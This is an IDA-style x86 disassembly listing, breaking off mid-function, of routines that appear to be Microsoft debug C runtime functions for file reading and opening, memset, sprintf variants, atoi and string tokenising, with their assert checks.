; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CDD0 proc near ; CODE XREF: seg000:00401108p
; sub_41037E+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_41F070
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41CE10
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_41F0E0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41CDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE10 proc near ; CODE XREF: sub_41CDD0+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41CE39
xor eax, eax
jmp loc_41CFDB
; ---------------------------------------------------------------------------
loc_41CE39: ; CODE XREF: sub_41CE10+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41CE54
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41CE5B
; ---------------------------------------------------------------------------
loc_41CE54: ; CODE XREF: sub_41CE10+37j
mov [ebp+var_1C], 1000h
loc_41CE5B: ; CODE XREF: sub_41CE10+42j
; sub_41CE10:loc_41CFD3j
cmp [ebp+var_C], 0
jz loc_41CFD8
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_41CEE9
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41CEE9
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41CE91
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41CE9A
; ---------------------------------------------------------------------------
loc_41CE91: ; CODE XREF: sub_41CE10+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41CE9A: ; CODE XREF: sub_41CE10+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41E840
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41CFD3
; ---------------------------------------------------------------------------
loc_41CEE9: ; CODE XREF: sub_41CE10+63j
; sub_41CE10+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41CF8E
cmp [ebp+var_1C], 0
jz short loc_41CF0D
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41CF13
; ---------------------------------------------------------------------------
loc_41CF0D: ; CODE XREF: sub_41CE10+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41CF13: ; CODE XREF: sub_41CE10+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_424040
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_41CF58
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41CFDB
; ---------------------------------------------------------------------------
loc_41CF58: ; CODE XREF: sub_41CE10+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41CF7A
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41CFDB
; ---------------------------------------------------------------------------
loc_41CF7A: ; CODE XREF: sub_41CE10+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_41CFD3
; ---------------------------------------------------------------------------
loc_41CF8E: ; CODE XREF: sub_41CE10+DFj
mov eax, [ebp+arg_C]
push eax
call sub_423E50
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41CFB0
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41CFDB
; ---------------------------------------------------------------------------
loc_41CFB0: ; CODE XREF: sub_41CE10+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_41CFD3: ; CODE XREF: sub_41CE10+D4j
; sub_41CE10+17Cj
jmp loc_41CE5B
; ---------------------------------------------------------------------------
loc_41CFD8: ; CODE XREF: sub_41CE10+4Fj
mov eax, [ebp+arg_8]
loc_41CFDB: ; CODE XREF: sub_41CE10+24j
; sub_41CE10+143j ...
mov esp, ebp
pop ebp
retn
sub_41CE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFE0 proc near ; CODE XREF: sub_41D0E0+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_41CFE9: ; CODE XREF: sub_41CFE0+31j
cmp [ebp+arg_0], 0
jnz short loc_41D00D
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D00D
int 3 ; Trap to Debugger
loc_41D00D: ; CODE XREF: sub_41CFE0+Dj
; sub_41CFE0+2Aj
xor eax, eax
test eax, eax
jnz short loc_41CFE9
loc_41D013: ; CODE XREF: sub_41CFE0+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_41D03B
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D03B
int 3 ; Trap to Debugger
loc_41D03B: ; CODE XREF: sub_41CFE0+3Bj
; sub_41CFE0+58j
xor eax, eax
test eax, eax
jnz short loc_41D013
loc_41D041: ; CODE XREF: sub_41CFE0+89j
cmp [ebp+arg_4], 0
jnz short loc_41D065
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D065
int 3 ; Trap to Debugger
loc_41D065: ; CODE XREF: sub_41CFE0+65j
; sub_41CFE0+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D041
loc_41D06B: ; CODE XREF: sub_41CFE0+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41D093
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D093
int 3 ; Trap to Debugger
loc_41D093: ; CODE XREF: sub_41CFE0+93j
; sub_41CFE0+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D06B
call sub_4248B0
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41D0AB
xor eax, eax
jmp short loc_41D0D5
; ---------------------------------------------------------------------------
loc_41D0AB: ; CODE XREF: sub_41CFE0+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_424520
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_41F0E0
add esp, 4
mov eax, [ebp+var_8]
loc_41D0D5: ; CODE XREF: sub_41CFE0+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CFE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0E0 proc near ; CODE XREF: seg000:004010DBp
; seg000:00405507p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41CFE0
add esp, 0Ch
pop ebp
retn
sub_41D0E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D100 proc near ; CODE XREF: seg000:00401222p
; seg000:00401230p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41D153
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41D147
neg ecx
and ecx, 3
jz short loc_41D129
sub edx, ecx
loc_41D123: ; CODE XREF: sub_41D100+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41D123
loc_41D129: ; CODE XREF: sub_41D100+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41D147
rep stosd
test edx, edx
jz short loc_41D14D
loc_41D147: ; CODE XREF: sub_41D100+18j
; sub_41D100+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41D147
loc_41D14D: ; CODE XREF: sub_41D100+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41D153: ; CODE XREF: sub_41D100+Aj
mov eax, [esp+arg_0]
retn
sub_41D100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near ; CODE XREF: sub_401417+1Cp
; sub_41621B+19p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_41D16F: ; CODE XREF: sub_41D160+37j
cmp [ebp+arg_0], 0
jnz short loc_41D193
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D193
int 3 ; Trap to Debugger
loc_41D193: ; CODE XREF: sub_41D160+13j
; sub_41D160+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D16F
loc_41D199: ; CODE XREF: sub_41D160+61j
cmp [ebp+arg_8], 0
jnz short loc_41D1BD
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D1BD
int 3 ; Trap to Debugger
loc_41D1BD: ; CODE XREF: sub_41D160+3Dj
; sub_41D160+5Aj
xor edx, edx
test edx, edx
jnz short loc_41D199
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_424CB0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41D238
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41D249
; ---------------------------------------------------------------------------
loc_41D238: ; CODE XREF: sub_41D160+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_424A30
add esp, 8
mov [ebp+var_2C], eax
loc_41D249: ; CODE XREF: sub_41D160+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D260 proc near ; CODE XREF: sub_40145D+5Ep
; sub_40216A+2Ep ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41D275: ; CODE XREF: sub_41D260+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41D299
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D299
int 3 ; Trap to Debugger
loc_41D299: ; CODE XREF: sub_41D260+19j
; sub_41D260+36j
xor edx, edx
test edx, edx
jnz short loc_41D275
loc_41D29F: ; CODE XREF: sub_41D260+67j
cmp [ebp+arg_4], 0
jnz short loc_41D2C3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D2C3
int 3 ; Trap to Debugger
loc_41D2C3: ; CODE XREF: sub_41D260+43j
; sub_41D260+60j
xor eax, eax
test eax, eax
jnz short loc_41D29F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_424CB0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41D33F
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41D350
; ---------------------------------------------------------------------------
loc_41D33F: ; CODE XREF: sub_41D260+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_424A30
add esp, 8
mov [ebp+var_30], eax
loc_41D350: ; CODE XREF: sub_41D260+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D360 proc near ; CODE XREF: sub_40145D+42p
; seg000:00404949p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_41D375: ; CODE XREF: sub_41D360+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41D399
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D399
int 3 ; Trap to Debugger
loc_41D399: ; CODE XREF: sub_41D360+19j
; sub_41D360+36j
xor edx, edx
test edx, edx
jnz short loc_41D375
loc_41D39F: ; CODE XREF: sub_41D360+67j
cmp [ebp+arg_8], 0
jnz short loc_41D3C3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41D3C3
int 3 ; Trap to Debugger
loc_41D3C3: ; CODE XREF: sub_41D360+43j
; sub_41D360+60j
xor eax, eax
test eax, eax
jnz short loc_41D39F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_424CB0
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_41D43E
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_41D44F
; ---------------------------------------------------------------------------
loc_41D43E: ; CODE XREF: sub_41D360+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_424A30
add esp, 8
mov [ebp+var_30], eax
loc_41D44F: ; CODE XREF: sub_41D360+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D460 proc near ; CODE XREF: sub_41D560+7p
; seg000:0042F051p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_41D466: ; CODE XREF: sub_41D460+4Ej
cmp ds:dword_44FD20, 1
jle short loc_41D486
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41D49F
; ---------------------------------------------------------------------------
loc_41D486: ; CODE XREF: sub_41D460+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41D49F: ; CODE XREF: sub_41D460+24j
cmp [ebp+var_10], 0
jz short loc_41D4B0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_41D466
; ---------------------------------------------------------------------------
loc_41D4B0: ; CODE XREF: sub_41D460+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_41D4D5
cmp [ebp+var_4], 2Bh
jnz short loc_41D4E8
loc_41D4D5: ; CODE XREF: sub_41D460+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_41D4E8: ; CODE XREF: sub_41D460+73j
mov [ebp+var_8], 0
loc_41D4EF: ; CODE XREF: sub_41D460+E9j
cmp ds:dword_44FD20, 1
jle short loc_41D50B
push 4
mov edx, [ebp+var_4]
push edx
call sub_423D90
add esp, 8
mov [ebp+var_14], eax
jmp short loc_41D520
; ---------------------------------------------------------------------------
loc_41D50B: ; CODE XREF: sub_41D460+96j
mov eax, [ebp+var_4]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_41D520: ; CODE XREF: sub_41D460+A9j
cmp [ebp+var_14], 0
jz short loc_41D54B
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_41D4EF
; ---------------------------------------------------------------------------
loc_41D54B: ; CODE XREF: sub_41D460+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_41D558
mov eax, [ebp+var_8]
neg eax
jmp short loc_41D55B
; ---------------------------------------------------------------------------
loc_41D558: ; CODE XREF: sub_41D460+EFj
mov eax, [ebp+var_8]
loc_41D55B: ; CODE XREF: sub_41D460+F6j
mov esp, ebp
pop ebp
retn
sub_41D460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D560 proc near ; CODE XREF: seg000:004024A9p
; seg000:004024C5p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41D460
add esp, 4
pop ebp
retn
sub_41D560 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_41D587: ; CODE XREF: seg000:0041D5CFj
cmp ds:dword_44FD20, 1
jle short loc_41D5A7
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_423D90
add esp, 8
mov [ebp-14h], eax
jmp short loc_41D5C0
; ---------------------------------------------------------------------------
loc_41D5A7: ; CODE XREF: seg000:0041D58Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_41D5C0: ; CODE XREF: seg000:0041D5A5j
cmp dword ptr [ebp-14h], 0
jz short loc_41D5D1
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_41D587
; ---------------------------------------------------------------------------
loc_41D5D1: ; CODE XREF: seg000:0041D5C4j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_41D5F6
cmp dword ptr [ebp-4], 2Bh
jnz short loc_41D609
loc_41D5F6: ; CODE XREF: seg000:0041D5EEj
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_41D609: ; CODE XREF: seg000:0041D5F4j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_41D617: ; CODE XREF: seg000:0041D687j
cmp ds:dword_44FD20, 1
jle short loc_41D633
push 4
mov edx, [ebp-4]
push edx
call sub_423D90
add esp, 8
mov [ebp-18h], eax
jmp short loc_41D648
; ---------------------------------------------------------------------------
loc_41D633: ; CODE XREF: seg000:0041D61Ej
mov eax, [ebp-4]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_41D648: ; CODE XREF: seg000:0041D631j
cmp dword ptr [ebp-18h], 0
jz short loc_41D689
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_420380
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_41D617
; ---------------------------------------------------------------------------
loc_41D689: ; CODE XREF: seg000:0041D64Cj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_41D69E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_41D6A4
; ---------------------------------------------------------------------------
loc_41D69E: ; CODE XREF: seg000:0041D68Dj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_41D6A4: ; CODE XREF: seg000:0041D69Cj
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6B0 proc near ; CODE XREF: seg000:0040249Cp
; seg000:004024B9p ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_425C30
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_41D6D6
; ---------------------------------------------------------------------------
loc_41D6CD: ; CODE XREF: sub_41D6B0+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41D6D6: ; CODE XREF: sub_41D6B0+1Bj
cmp [ebp+var_C], 20h
jge short loc_41D6E6
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_41D6CD
; ---------------------------------------------------------------------------
loc_41D6E6: ; CODE XREF: sub_41D6B0+2Aj
; sub_41D6B0+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_41D6E6
cmp [ebp+arg_0], 0
jz short loc_41D739
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_41D742
; ---------------------------------------------------------------------------
loc_41D739: ; CODE XREF: sub_41D6B0+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_41D742: ; CODE XREF: sub_41D6B0+87j
; sub_41D6B0+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41D781
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41D781
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_41D742
; ---------------------------------------------------------------------------
loc_41D781: ; CODE XREF: sub_41D6B0+B9j
; sub_41D6B0+C4j
